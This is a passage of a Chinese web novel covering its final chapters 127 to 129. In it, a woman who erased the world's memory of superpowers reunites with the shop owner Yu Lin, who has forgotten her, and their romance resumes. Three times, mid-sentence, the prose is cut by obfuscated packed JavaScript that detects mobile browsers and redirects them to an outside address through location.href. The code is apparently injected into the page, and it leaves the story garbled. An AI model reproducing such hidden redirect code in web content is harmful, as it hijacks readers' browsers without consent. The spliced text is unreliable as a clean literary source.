名片被随意扔进了抽屉,庾林目送褚成舟走出了店门,他看到街对面站着一位女专员,手里撑着遮阳伞。当褚成舟靠近时,女专员冲褚成舟摇了摇头,然后两人并肩离开了。 他为什么在意识转移时,又为何会看到照片上的女孩呢? 原本已经淡忘的困惑,又重新盘旋在脑海中,可他如何也没能将曾经梦境般的遭遇告诉褚成舟,不知缘由。 也许,是怕进研所的疯子会缠上那个女孩。 进化者,当真存在吗? 不管是否存在,似乎都不影响他的生活。可生活好像总少了点什么…… 搬到禁仿区后,庾林迎来了在禁仿区生活的第一个生日。 这一天,康管家送来了各方送上的贺礼,有合作商献殷勤,有客户表达感谢,还有同事朋友聊表心意。 庾双还为他准备了生日晚会,庾林不好拂了一番好意,这也是庾林这么久以来,第一次返回自由区。 来参加晚会的多是同事和老同学。 庾双并没有邀请父亲,她似乎也意识到,父子之间的裂痕早已无法修复,强求只是徒增烦心。 庾林许久没有像这样与人聚会,回想上一次,还是去年冬天,邀同事到家里一起吃面,再往前,是为了庆祝他平安出院,到皆来食吃饭。 “嗯?” 记忆模模糊糊,庾林总觉得哪里不对。他从没发现自己是那么好相处的一个人…… 晚会上,庾林不知不觉多喝了几杯,说不清是因为高兴,还是因为有心事。 晚会结束,康管家将他送回了电器维修店。 挥别康管家,庾林开门进店。刚打开门锁,就听隔壁传来一阵急促的脚步声。 玻璃门被推开,半个身子从门里探了出来。 “你好,我是花店新雇的店员,今后我们会经常见面,请多关照!” 朝气蓬勃的女声传入庾林耳中,他没有转头看一眼,轻哼了一声“嗯”作为回应,直接推门进了店。 可那女店员似乎不死心,从隔壁追了过来,一只脚插进门缝,抵住了即将关闭的店门。 店里没开灯,只有路上昏暗的路灯,从身后勾勒出女店员的轮廓。 一身酒气烘得庾林意识有些模糊,连带着视线都变得朦胧。他只觉一个黑影拼命想往门里钻,吓得他赶紧抬手抵住门缝里那个小脑袋,另一只手拼命抓住门把手。 “你这家伙是不是有毒……”女店员的声音染上一丝埋怨。 “是你没礼貌吧……”庾林回嘴。 一人使劲往里挤,一人用力往外推,谁也不让谁。 “嗷!” 大概是庾林用力过猛,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353889|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店员拧到脖子,哀嚎一声,吓得庾林赶紧卸了力。 店门骤然敞开,女店员单手捂着脖子,脑袋偏上一边,说话的声音也带上了哭腔,“要不要这么狠,防我跟防匪徒一样,我好歹是女生,能对你做什么啊?” “呃……你没事吧?这大半夜,突然有人硬闯,换作是谁,都会担心吧……” 庾林站在一旁,手足无措,想上前查看情况,又觉得似乎帮不上什么忙。 “啧,第一次是这样,第二次还这样……”女店员小声嘀咕。 “嗯?”庾林没听清她嘀咕什么。 “没什么!我就想送份见面礼,谁让你关门关得这么急……拿去,生日快乐,我走了!” 带着情绪说完这些话,女店员将一个四四方方扎着蝴蝶结的蛋糕盒搁在了地上,然后捂着脖子,气恼地转身返回了花店。 “你怎么……” 怎么会知道他的生日?一句话还未说完,女店员就已经没了影。 庾林一脸疑惑地从地上拿起蛋糕盒,从透明的窗口可以看见一整个水果慕斯蛋糕,上面还写着字: “庾木木,生日快乐!” 等他追出门,隔壁花店的店门已锁,灯也灭了。 庾林不便打扰,又回到店里,提着莫名得来的生日蛋糕上了楼。 不知为何,总觉得有种味道令人怀念。 这天晚上,他破天荒地一个人吃掉了一整个蛋糕,即便撑得睡不着觉,身体和心也不听使唤。就好像不好好享用,会遭天谴一般。 在“暴饮暴食”的双重加持吓,第二天,庾林起得很晚。 日上三竿时,一阵敲门声将他唤醒。 敲门的人是齐绮,因为庾林从不睡懒觉,所以觉得奇怪,担心他有事,便敲门确认。 庾林简单收拾一番,开了门,开口第一句便问齐绮:“齐小姐雇新店员了?” “是啊,昨天刚来,现在也算我的新室友了。你们见过了吗?”齐绮坦言。 庾林还没回话,一个小脑袋就又探出店门来,眨着双眼,露出一脸天真无邪的笑,夹着甜美的嗓音说:“咦,你们在谈论我吗?嘻嘻,看来我昨晚给庾先生留下了深刻印象,一晚上过去了,还对我念念不忘。” 那张脸,霎时间让庾林失了神。 与镜中看到的女孩面容一模一样,不过,红润代替了苍白,消瘦也成过去。 当镜中形象活脱脱出现在眼前,庾林大脑一片空白,忘了该说什么话,忘了该做什么表情,甚至忘了如何呼吸。 女店员一蹦一跳到了他面前,举手在他眼前晃了晃,然后嘴角噙笑,厚着脸皮说道:“是我太漂亮,迷倒你了吗?” 心猛然跳动起来,庾林蓦地回过神,收回紧盯不放的视线,轻咳一声,掩饰着面上的慌张。 “我是怕你讹我医药费。” “……”女店员剜了庾林一眼,撅着嘴骂道,“不会说话,可以不说。” 庾林忍俊不禁,手指挠了挠脖子,问:“脖子不疼了?” “哼,要你管?”女店员不客气地回道。 “重新认识一下吧,我叫庾林,电器维修店店主。” “我知道,周拾秋,你可要记清楚了。” 周拾秋?好熟悉的名字,他在哪里听过呢?怎么想也想不起来。 唯一记得一点,褚成舟在找她。 世上仅存的进化者之一吗?什么鬼话,那让他见识一下进化者有什么不同吧。 “嗯,记住了,店员小姐。” 庾林嘴角扬起发自内心的微笑,冬天阴沉的天似乎终于放晴了,明明没有多什么,也没有少什么,可就是不一样了。 128. 第128章 决定改变世界的那一日,周拾秋几乎用尽了所有异能。 她不断扩大异能发动范围,抓住世间一切,入侵改写意识,让与异能相关的一切记忆从全世界消失。 只要遗忘了这份记忆,进化者便无法再发动技异能,相应的,诅咒也会一同消失。 而她,会同异能一起,被这个世界遗忘。 从此,进化者可以像普通人一样生活,走到阳光下,拥有正常人的情感。 没想到当初对着古梅绝景许下的心愿,最终真让她实现了。一时不知该说这世上真有神灵,还是该说她就是那所谓的神灵呢? 给褚成舟打去电话后,周拾秋逃离了地下室。 被世界遗忘,无处可去的她,去找了柴星曜,并没有费太多功夫,就让柴星曜相信她就是夜白鹭。 即便进化者的身份不管用了,柴星曜还是夜白鹭的信徒。 耗尽异能的周拾秋十分虚弱,为了躲避褚成舟的追捕,她让柴星曜提供了避难所——一间人迹罕至的海边小木屋。 近一年的时间里,她躲在小木屋里,与世隔绝,唯一见到的人就是柴星曜。 等她身体恢复了,她还能回到过去的生活吗? 这个问题纠缠了周拾秋很久,既有期待,也有惶恐。 直到有一天,沉寂许久的手环又一次亮了,周拾秋强撑着虚弱的身体,进行了意识传送。 她也想看看,庾林过得怎样? 然而,迎接她的是一场相亲,而相亲对象又是白馨……差点没气得她吐血。 这一次,周拾秋仔细确认了好几遍,可以确定不是什么谈生意,就是实实在在的相亲。于是,周拾秋故意使坏,宣称自己是庾林的男朋友,劝白馨死了这条心。 虽然很自私,但周拾秋就是忍不了。 忘了她,与别人交往、结婚?光是想想,周拾秋就想揍庾林一顿。 轻松解决掉庾林的桃花运,周拾秋回到自己身体。也不知庾林做了什么,柴星曜傻乎乎给她买来退烧药。 晚上气还没消完,就在手环上看到了差评警告…… 历史怎么会如此惊人相似? 本想着这或许是天意,她也应该试着习惯庾林带给她的戒断反应,可差评又莫名其妙取消了。 更离谱的是庾林开始向她发起奇怪的委托任务,什么做饭,什么选花送人。 这任务她没法做。 一个是实力不允许,一个是情感不允许。 不过也因为这两次委托,让她心情大起大落。 一次是发现被庾林扔在了距离小木屋很远的沙滩上,地上还有留言: 【下次请安排我到城里住酒店!】 她拖着虚弱的脚步,走走停停将近一小时,才总算回到小木屋。仿佛梦回到她与庾林不对付的时候,那时的委托也总让她受苦。 不过,回到过去,并没有让她的心情太糟,于是她找了块软木留言板,试着给庾林留下纸条,想象着下一次庾林看到,会是什么反应。 而第二次,她确实看到了庾林的回复。 庾林问她是谁…… 和齐绮见面时一样,她是真的从所有人记忆中消失了。 她或许不该再去打扰他们的生活。 这几次的经历,让周拾秋逐渐意识到,对庾林,原来她早已不是单纯的欲望。她好像理解了齐绮曾解释过的“喜欢的感觉”。 从此与庾林不再有瓜葛,不再见面,她会觉得可惜,会放不下,会舍不得。 可如果她对庾林抱有这样的想法,契约又会不会再次绑住庾林呢? 看着纸条上“你是谁”三个字,周拾秋退缩了。 从那天起,她摘掉了手环。 没过多久,私危协议失效,她与庾林的唯一联系就彻底断了。 她以为戒断反应总会有结束的一天,可从夏天等到了秋天,又从秋天忍到了冬天,她心里的病症从未见好。 柴星曜看着她整日郁郁寡欢的模样,耐心开导。 就算不知道周拾秋烦恼的是什么,他也觉得没有什么事能难倒夜白鹭。 于是,在12月10日这一天,基本恢复健康的周拾秋同柴星曜辞别,离开了那间让自己与世界隔绝的茧房。 一切都是新的开始。 在这个她一手创造的世界,像普通人一样,任性地活着就好。 自从成了花店店员,周拾秋的心思就两边跑,明明是齐绮包吃包住发工资,可她手上一闲,就要往隔壁电器维修店跑。 这让齐绮大呼吃亏,闹着要庾林负担一半工资。 庾林反驳:“她也没帮我做事啊。” 齐绮坚称:“我都看见了,她可帮你张罗了不少生意。” 周拾秋帮腔:“就是,就是,我也帮了不少忙。” 庾林眼神质疑,“你确定是帮忙,不是惹祸?” “……” 不管是齐绮,还是周拾秋,都沉默了。 嘴上虽然说着拒绝的话,可私底下,庾林还是悄悄将一半工资付给了齐绮。 周拾秋觉得庾林对她很奇怪。有时候好像很陌生,有时候又好像很熟;嘴上时常说着嫌弃的话,可一次都没将她从店里赶出去。 她成了庾林店里的编外人员,因为时常出现,连庾林的客人都跟她混熟了。 不知何时起,周拾秋和齐绮成了庾林的饭搭子,一到饭点,就自觉带着碗筷来找庾林。 庾林对此从不拒绝。 一次等待开饭的间隙,周拾秋逛进了庾林的房间,在置物架上看到了早被她遗忘的陶瓷杯,而杯子旁的盒子里,还放着一对戒指。 她惊喜于两人制作的陶瓷杯最终到了庾林手上,可同时,那两只一看就是一对的戒指也令她紧张。 在她与庾林彻底失去联系的时间里,庾林是否有了新的追求对象?她不得不多想。 吃饭时,她便将话题引到了对戒和陶瓷杯上。 她旁敲侧击,询问庾林房中怎么有一对戒指,是准备送人,还是别人送的礼物。 庾林的回答让她莫名安心。 “呵,大概是被无良广告骗了。” “哦哦,原来是被骗了啊,那就好,那就好。”周拾秋的欣喜溢于言表,语无伦次地接着话。 齐绮用手肘撞了她一下,看似无语地吐槽:“庾先生是被骗了,不是中奖,好什么好啊,傻不傻……” “哈哈哈……我是说,总能用得上嘛,挺好的。”周拾秋找补,并赶紧转移话题,“对了,我看你房间里的杯子挺特别啊,自己做的?” 对于这个问题,庾林还未开口,齐绮就帮他回答了,“还真不是,那是我店里发现的,大概是前室友不要的东西,庾先生就花钱买了去,说如果以后室友回来,可以找他买回来。” “哦,庾先生很喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周拾秋眯起眼睛,咬着唇,思考良久,终于一本正经地开了口:“庾先生,你不会是喜欢我吧?” 庾林被气笑了,用毛巾擦了擦手,顺势就伸出手,朝周拾秋走来,嘴上不客气地说道:“不想要就还回来。” “没说不要!” 周拾秋急忙将陶瓷杯护在怀里,匆匆逃出庾林的攻击范围,一直逃到楼梯口,才回头补了一句,“你可别谁找你要东西,你都给。” “嗯?你到底想说什么?” 庾林一只手抵在门框上,饶有兴致地盯着周拾秋,想听她又准备发表什么高见。 周拾秋也不负厚望,一边做好逃跑准备,一边鼓起勇气说道:“我的意思是,别做海王!” 庾林一往外迈步,周拾秋就一溜烟冲下了楼,根本不给庾林找她算账的机会。 一路小跑回到花店,周拾秋心满意足地看着怀里的战利品,露出一副爱不释手的模样。 就是不知有没有什么办法,能向庾林讨要戒指。 “要用抢吗?看庾木木挺好欺负的样子……” 心中盘算着缺德事,周拾秋露出一脸狡黠的笑。 就算过去的东西能一件一件拿回来,可过去的人呢? 欣喜后,是一种空虚,仿佛迷失了方向,漫无目的地飘着,寻不到落脚点。 129. 第129章 L464年的最后一天,齐绮邀周拾秋和庾林一起去滨山区跨年。 这也是周拾秋时隔一年第一次回家,即使再见面时,家人待她如客人,可看着父母不再为她身份暴露而担惊受怕,她依旧会觉得结果不算太差。 周予夏已经忘了自己当初为什么会想考入进研所,再提起这个志向时,任谁都会骂他一声“傻”。 庾林与她家人相处融洽,只是将他们关联到一起的回忆中,不再存在周拾秋。 下午时,周拾秋一个人悄悄离开家,她又一次去了滨山水族馆。 她想去看看勇者榜上,还有没有自己的照片。 站在水族馆正门前等了近半个小时,腿站酸了,她才看到家人合照。 可惜,照片原本她站的位置上,已经没了她的身影。 以前看那照片时,就不是很满意,因为大家都在笑,只有她一脸不高兴。现在好了,没了格格不入的表情,照片都变和谐了。 周拾秋忍不住低声自嘲:“果然勇者榜上就不该有胆小的人。” “干嘛?没钱买票?” 一个声音突然在耳边响起,吓得周拾秋浑身一抖,手捂着胸口,差点一口气没提上来。 庾林不知何时出现在她身后,故意放轻脚步靠近,俯身凑近耳边,出其不意开口,然后让有蓄谋的吓人计划得逞。 此刻庾林脸上正露出得意的表情,嘲笑着周拾秋的胆小。 “庾木木,你是不是有病?” 周拾秋惊魂未定,轻抚着胸口,眉头微微皱起。 “庾木木?已经开始给我取绰号了?” 庾林一脸狐疑,拷问一般的视线紧盯着周拾秋。 方才一紧张,习惯的称呼脱口而出,此时周拾秋才意识到喊错,灵机一动找补:“叫你庾先生多生分,我们也算熟人了,这么叫亲近些,木木,林嘛,呵呵……” “原来如此,差点以为你知道我的危机管理局账号ID。” 庾林看似信服,可并没有挪开注视周拾秋的眼神,盯得周拾秋有些不自在。 “咳,你怎么跑这儿来了?跟踪我啊?”周拾秋小心试探。 “齐绮怕你人生地不熟跑丢了,派我来看着你。”庾林轻松应答。 “我还能丢?呵,我老板还是太爱我了,不过派你来……” 周拾秋说着,以一种质疑的眼神,上下打量着庾林,微微勾起嘴角,溢出一丝轻蔑。 再怎么说,她也是在禁仿区住了二十多年的守旧者,而庾林是在龛云路住了不到一年的理想者,怎么想,要走丢也是庾林走丢吧? 在周拾秋的质疑中,庾林冷不防回了句:“也许齐小姐只是单纯觉得,你看起来不太聪明。” 周拾秋脸上虽还维持着微笑,可双手已经瞬间攥成了拳头。 庾林大概是意识到自己即将挨打,赶紧移开视线,指着水族馆大门道:“店员小姐想进去看看?我可以帮你买票。” 周拾秋不知庾林是不是故意的,不动声色地摇了摇头,婉拒道:“不用了,我就路过,随便看看,刚还看到了你们的合影呢!呵呵呵……没事了,我们回去吧。” “随便看看,看这么久吗?”庾林嘴角微扬,“不会是想进去,但一个人害怕吧?” “怎么可能!哈哈哈,看不起谁呢!”周拾秋嘴硬道。 庾林见状立马拉住周拾秋往门里走,“不怕就好,正愁没人跟我一起再体验一次。” “哈?” 不给周拾秋任何拒绝了机会,庾林强势抓着她进了水族馆,然后莫名其妙重新带她体验了一次深海恐惧。 即便去年已经体会过一次,有了心里准备,也不妨碍周拾秋从头被吓到尾。 她终于对自己有了更清晰的认知,害怕应激乱用异能不过是胆小的伪装罢了。 体验结束,庾林一边恭喜她成为勇者,一边拉她去合影。 周拾秋疑心道:“你是知道我害怕,所以故意捉弄我吗?” 庾林喊冤:“我只是看你好像对上勇者榜很感兴趣。” 不,她只是对留下合影很感兴趣。 虽然过程因误会而起,但最终的结果却是令人满意的。 在勇者榜上等到与庾林的合影出现时,周拾秋笑了,和照片上的自己一样,仿佛以一种奇怪的方式,弥补了记忆中留下的遗憾。 晚上跨年时,庾林以一种招待客人的姿态,带周拾秋去天台,欣赏了满城烟花绽放的美景。 就算记忆中少了周拾秋,曾经发生过的事依然留存在庾林的脑海里。 而如今,又以另一种方式,重新上演了一遍。 即便这只是出于对客人的诚意,也足以让周拾秋欢喜雀跃。 坐在天台边上,周拾秋又厚着脸皮问庾林:“你是不是喜欢我啊?” “你哪里看出我喜欢你了?”庾林笑得无奈。 “不喜欢,干嘛还对我这么好?” “因为你人不错,第一次见面就送我生日蛋糕,我不喜欢欠人情,自然该给予回礼。” “哦……什么烂好人人设……” “怎么了?” “没什么,有人说你看起来很像在养鱼吗?” “啥养鱼?” “啧,老年人真迟钝,哼,你自己看吧。” 烟花表演还没结束,周拾秋就气鼓鼓地下了楼,留庾林一人在天台疑惑不已,全然不懂一个人的情绪起伏怎么会这么大。 当晚,庾林和周拾秋都住在附近的小旅馆。 庾林总算凭借守旧者的身份卡,不用再遭受旅馆拒绝和加价。两人交了钱,各自拿着房门钥匙进了客房。 这天夜里,周拾秋翻来覆去睡不着,打算去楼下散散步。出门路过庾林房间时,看见有人正往门缝下塞小广告。 那人发现周拾秋,面上没有一丝尴尬,一脸淡定地转身离开。 周拾秋突发奇想,回房换上睡衣,踩着拖鞋又来到庾林房间,敲响了庾林的房门。 庾林刚洗完澡,头发还没吹干,湿漉漉的,发尾还在往下滴水。 开门看见门外站着仅着睡衣的女人,庾林整张脸就跟暴风雨来临前的天色一样,阴沉至极。 周拾秋正凹着造型,还没开口说话,就被庾林抓住手腕拉进了房间。 房门重重关上,发出一声沉闷的巨响,犹如发泄着不满。 “大晚上穿这样出门,你疯了吗?” 说话间,庾林从浴室取来一条宽大的浴巾,轻抖,展开,披到了周拾秋身上,并抓住浴巾两角,在周拾秋脖子处打了个死结。 本来打着诱惑主意的周拾秋,瞬间无语了。 见她撅着嘴不说话,庾林收敛了怒气,换了个更柔和的腔调,问:“找我有事?” 周拾秋打起精神,装出一副烦恼的样子,“刚出门,风把门吹来关上了,我没戴钥匙,进不去。” “穿睡衣出门?不冷?”庾林表示怀疑。 “哎呀,刚有人往我门缝里塞小广告,我心急追出门看看。” “这些旅馆的小广告,好像只精准投放给男住客。” “咳,你经常在这儿住吗?现在也有针对女住客的服务,你信息滞后了。” “哦,明白。”庾林故作理解,然后转身往屋外走,“我去找前台拿备用钥匙,你在这儿等会儿,别乱跑。” “别!”周拾秋快步追上去,拦在庾林身前,眼神飘忽不定,脑子里疯狂寻找着借口,“哦,其实……其实我,嗯……我不敢一个人睡!” “你在花店不也一个人睡……” “那不一样,这次塞进来的是小广告,下次说不定就塞个人进来,人家害怕嘛。” “……” 周拾秋嗓子都要夹冒烟了,而对于她这个生硬的借口,庾林连反驳的力气都没有了。 “要不,你让我坐椅子上对付一宿?放心,我很安静的,你睡你的,不用管我!” 娇声娇气地说着,周拾秋就往椅子上一坐,一副铁了心,不打算离开的架势。 剧本她已经想好。 听她这么说,庾林肯定怜香惜玉,然后绅士地将床让给她,说自己打地铺,接着她就装作不好意思,表示可以和庾林各睡一半床。 等到睡到一张床上,那发生点啥,都不奇怪了。 心里酝酿着一场阴谋,周拾秋强压着上扬的嘴角。 果然,庾林面露难色,开口道:“坐着睡能睡着吗?” 周拾秋强忍着笑,摆出一脸温柔体贴的表情,说:“没关系,趴在桌子上就能睡,就当上学打瞌睡,你别在意。” “不妥吧……” 庾林托着下巴,思索了片刻,然后打开壁柜,拿出一床被子。 进展正如周拾秋所想,眼看着庾林拿着被子走过来,料想准备打地铺,周拾秋半推半就的话已经酝酿到了嘴边,就等着庾林说出下半句。 谁知,庾林并没将被子扔到地板上,反而塞进周拾秋怀里,然后满意地点了点头,“虽然房里有暖气,但你穿那么少,还是盖床被子,别感冒了。” “哦……谢谢啊……” “不客气。” 周拾秋抱着被子,愣在原地,只是下意识地道了声谢,一时不知接下来的戏该怎么唱了。 庾林看上去根本没把她要坐椅子上睡一晚的事放在心上,转身就进了卫浴间,一边哼着歌,一边吹着头。 怜香惜玉? 她怎么会有这种天真的想法,如果懂怜香惜玉,那就不是庾林了。 怎么还跟有心病时一样,煞风景…… 电吹风恼人的响声混杂着哼歌的曲调,充斥在房间里,周拾秋越听越烦躁,用力挤压着被子,发泄着心中不满。 她直勾勾地盯着庾林所在的方向,一直到电吹风的响声骤停,庾林神情自若地回到床边。 “店员小姐,那我先睡了,晚安。” 轻飘飘一句话后,庾林便准备躺进被窝。 周拾秋瞪大眼睛,实在不敢相信庾林就这么把她当空气了。 “不是,你真睡啊?!” 周拾秋猛地站起身,将被子往椅子上一扔,带着一身肃杀的戾气,一步步走到庾林面前。 在庾林静观其变的注视下,她双手抵住庾林的胸口,用力一推,将人推倒,膝盖往床上一顶,强势攻入对方领地,扣住手腕,压在耳边,让对方以一种投降的姿态,被困进她的牢笼。 长发倾泻而下,肆意轻扫着庾林的脸,周拾秋俯视着庾林,嘴角溢出狡黠的笑。 不过她并没能从庾林脸上看到预想的惊慌失措,除了胸口的起伏,和乱了节奏的呼吸,庾林可以说是一动不动,仿佛猎物放弃了抵抗。 他带着些许挑衅的口吻说:“演都不演了?” 见庾林游刃有余的模样,周拾秋动作一顿,恍惚间,觉得又被看穿了一般。 “你能看到我在想啥?” “难道不明显吗?” “怎么会……明明……你不可能还有读心能力啊……” 心中的疑惑,让周拾秋的视线慌张地在庾林身上打转,就像一台检测机器,正在通过扫描,检查着病人的身体情况。 看着她慌乱的模样,身下的人发出一阵闷笑,笑声带着全身震颤,传递给周拾秋。 周拾秋愈发迷惑,庾林莫名的笑,令她窘迫得脸微微发烫。心中不忿,她反手掐住了庾林的两颊,气呼呼地质问庾林在笑什么。 庾林好不容易停止发笑,带着一丝歉意,回答:“抱歉,我只是想不通,你这小脑瓜里到底装着什么脑电回路。刚才还能猜到你在想啥,现在又看不懂了。” “嗯?不是读心能力吗?” “难怪进研所的人要寻你了,原来你也相信世上有异能。不会是你自己跟进研所说你是进化者吧?” “哼,万一我是呢?你要举报我吗?” “嗯嗯,你是,举报你又没有奖金。” 庾林说话时,语气明显透着一股逗小孩玩的味道,既让周拾秋不悦,又让她安了心。 周拾秋松开庾林的脸颊,眼神中带着探究,手指下滑,在微微敞开的领口处,有意无意地画着圈,“那你怎么知道我在想什么?” 喉结随着吞咽上下滚动,庾林故作淡定地冷哼了一声。 “是你表现得太明显了。” 周拾秋又夹着嗓子问:“当真?那你说说,我有什么想法?” 庾林露出似有若无的笑,压低语调,吐出三个字:“想吃人。” 明明心思被人看穿,周拾秋并未气恼,脸上笑容更甚,隐隐暴露出捉弄的意味。她有意压低身子,小臂抵住庾林胸口,以此支撑身体。 将贴未贴的距离,随着呼吸忽远忽近,反复折磨。 看着庾林逐渐呼吸不稳,一张冷脸染上红晕,周拾秋有种诡计得逞的欣喜。 “嘻嘻,现在知道怕了吗?这是任由我趴桌上睡的惩罚。” 庾林却笑了起来,眼神中满是无奈,“店员小姐,你是不是太不谨慎了?” “嗯?” 周拾秋一脸疑惑,坐起身。 在她还未明白庾林话中含义时,一只滚烫的手扣住了她的手腕,用力一带,身下翻转,等她回过神,形势已经反转。 高大的身影将她笼罩,局促的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367021|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间让她无处可逃,周拾秋只能双手抵住庾林的胸口,试图推开对方。然而徒劳,方才还被她戏弄的人,此刻纹丝不动将她禁锢,并居高临下盯着她。 见庾林俯下身来,两人之间的空隙一再被压缩,周拾秋浑身紧绷,下意识闭上眼,然而温热的呼吸喷洒在耳边,低沉的说话声传了过来。 “傻瓜,以你的力气,怎么可能真的推倒我。” 瞬间颠倒的局势令周拾秋心生大难临头的恐惧,似乎玩笑开过了头,惹上了不好惹的人,方才脸上的得意,此刻已被尬笑代替。 若是以前,她尚能动用异能,可现在,异能弱得仿佛不存在一样。 一年前改变世界的孤注一掷,她倾尽所有异能,身体虚弱得如油尽灯枯了一般。很长一段时间,她连力气都使不上来,更别说发动异能了。 那时的她就好像水源枯竭的河道,几乎休养了一年时间,才让身体恢复如常。身体是恢复了,但异能变得虚无缥缈。 “呵,我就跟你开个玩笑罢了。”周拾秋果断认怂。 “不是要惩罚我吗?刚才的胆子去哪儿了?”庾林紧逼不放。 方才一时紧张露了怯,倒让庾林小瞧了她。周拾秋最是经不住挑衅,原本心生退意,此刻被激得起了逆反心理。 “哦?庾先生还想继续?原来你也喜欢这种不走心的交流啊?” 说话间,周拾秋卸了手上的推力,揪住庾林的领口,将人往下拉。 忽然没了阻力,身体迅速贴合,庾林的游刃有余立马变成惊慌失措,双手急忙撑住身体,仿佛在做平板支撑。 他瞪大眼睛看着周拾秋,对于她总在奇怪地方要强的性子,哭笑不得,慌忙挣脱周拾秋的拉扯,倒到了一旁。 “小姑娘跟谁学的……什么不走心的……咳,胆子这么大,可以自己回房睡了。” 庾林从床上坐了起来,带着点说教的口吻,指了指房门方向。 周拾秋偷笑,单手撑着脑袋,侧躺在床上,凹着造型,问:“那走心的呢?” 一阵咳嗽声,庾林掩饰着窘迫,教训道:“什么走心不走心,以后别随便做这种事。” “我还什么都没做呢。” “……” 庾林敌不过她的歪理,重重叹了口气,只是坐在床边,也不回头看她一眼。 周拾秋觉得无趣,起身,下床,又不甘心地绕到庾林面前,强势抬起庾林的下巴,以怀疑的眼神与庾林对视。 “我看起来没有一点魅力吗?怎么油盐不进的样子,总不能真喜欢男人吧……” 听着周拾秋的自言自语,庾林被气笑了,总觉得在哪儿听过这个剧情,陡然想起什么,问:“盗用齐小姐账号的人不会是你吧?” 一些想不通的疑问,在此刻有了合理的答案。 庾林难掩吃惊。 周拾秋勾起唇角,没有否认,轻声说:“你不是问我是谁吗?现在我可以回答你,我是创造这个世界的神,想做我的信徒吗?” “噗……又是什么妄想症?我该配合你演出吗?” “你别不信!我可以用异能让你爱上我。” “哦,这么厉害,我一定相信。” 庾林敷衍的话,让周拾秋气得踢了他一脚,脸微微靠近,四目相对,周拾秋憋了一口气,盯着庾林看了十秒。 短短的十秒犹如凝固了一般,流速减缓,两人眼中也只剩下彼此。 几不可察的金色波纹若隐若现,却在周拾秋恢复呼吸时,消失不见。 “你有什么感觉吗?” 周拾秋细声询问,就好像声音稍微大一点,就会惊醒梦中人一般。 庾林一时有些恍惚,倒没有感觉到所谓异能的奇妙力量,只是心跳加速,嗓子干涩,浑身燥热……可惜不是异能影响…… “你觉得我该有什么感觉?” 从庾林下巴收回手指,周拾秋眼睛里的光熄灭了。 没有契约影响后,庾林就难再对她动心了吗?如今没有异能帮忙,周拾秋感觉一盆冷水从头淋到脚,透心凉。 “没感觉算了,我也不稀罕。” 周拾秋最终只能说出嘴硬的话,大概这样能挽回一点颜面。 她转身就往门口走,却被庾林开口叫住。 庾林依旧坐在床边没动,弓着身子,低着头,调侃道:“就这么放弃了?异能没用,不试试别的?” “试什么?”周拾秋不耐烦地问。 “试着别那么快,先从约会开始?” 眼中熄灭的光刹那间又亮起,她其实一直很好哄。这不,庾林简单一句话,就让周拾秋又笑了。 “哦,慢点也可以。” 手指在身前打着结,一向厚脸皮的人也露出一丝羞涩。 是她太心急了些…… “那……从明天开始,晚安!”周拾秋说着就要走。 “等一下。” “还有事?” “你带钥匙了?” “啊!” 周拾秋恍然大悟,虽说只是捉弄,但她为了留在庾林房中,是真的将钥匙锁在了隔壁房间里,“哦,没关系,我去找前台拿备用钥匙。” “穿成这样去?”庾林厉声阻拦。 周拾秋低头一看,轻薄的睡衣,外加披了一张浴巾,确实不妥。 在她思考时,庾林又开口:“等下我去帮你找前台。” “嘻嘻,好吧!” 周拾秋撒娇一般站在房中等着庾林出门,可庾林始终坐在床边,一动不动。 周拾秋:“你……不去吗?” 庾林:“你先到被窝躺会儿。” 周拾秋:“嘿嘿,刚才还嫌太快了,现在又想留我过夜了?” 当周拾秋不怀好意地笑着,从床尾爬上床时,庾林忽然站起来,侧着身子遮遮掩掩往卫浴间走,边走边说:“谁说要留你过夜了,我只是现在不方便出门,你先等会儿。” 庾林一进卫浴间就关上了门,接着里面就传出水声。 “嗯?”周拾秋好奇跟到门边,贴在门上听里面动静,担心地问道,“出什么事了?需要我帮忙吗?” 庾林一直不说话,她就一直问,终于把庾林问烦了。 “某些人只一味点火,灭火的事,就别再添乱了。” “……” 也许从来就不是诅咒或契约将他们绑在一起,而是命运引导他们找到了彼此。 有情感的喜欢,也有欲望的驱使,不止是周拾秋,庾林也一样。 内心深处仿佛有一个声音在呢喃: “他就应该属于你。” * (正文完结)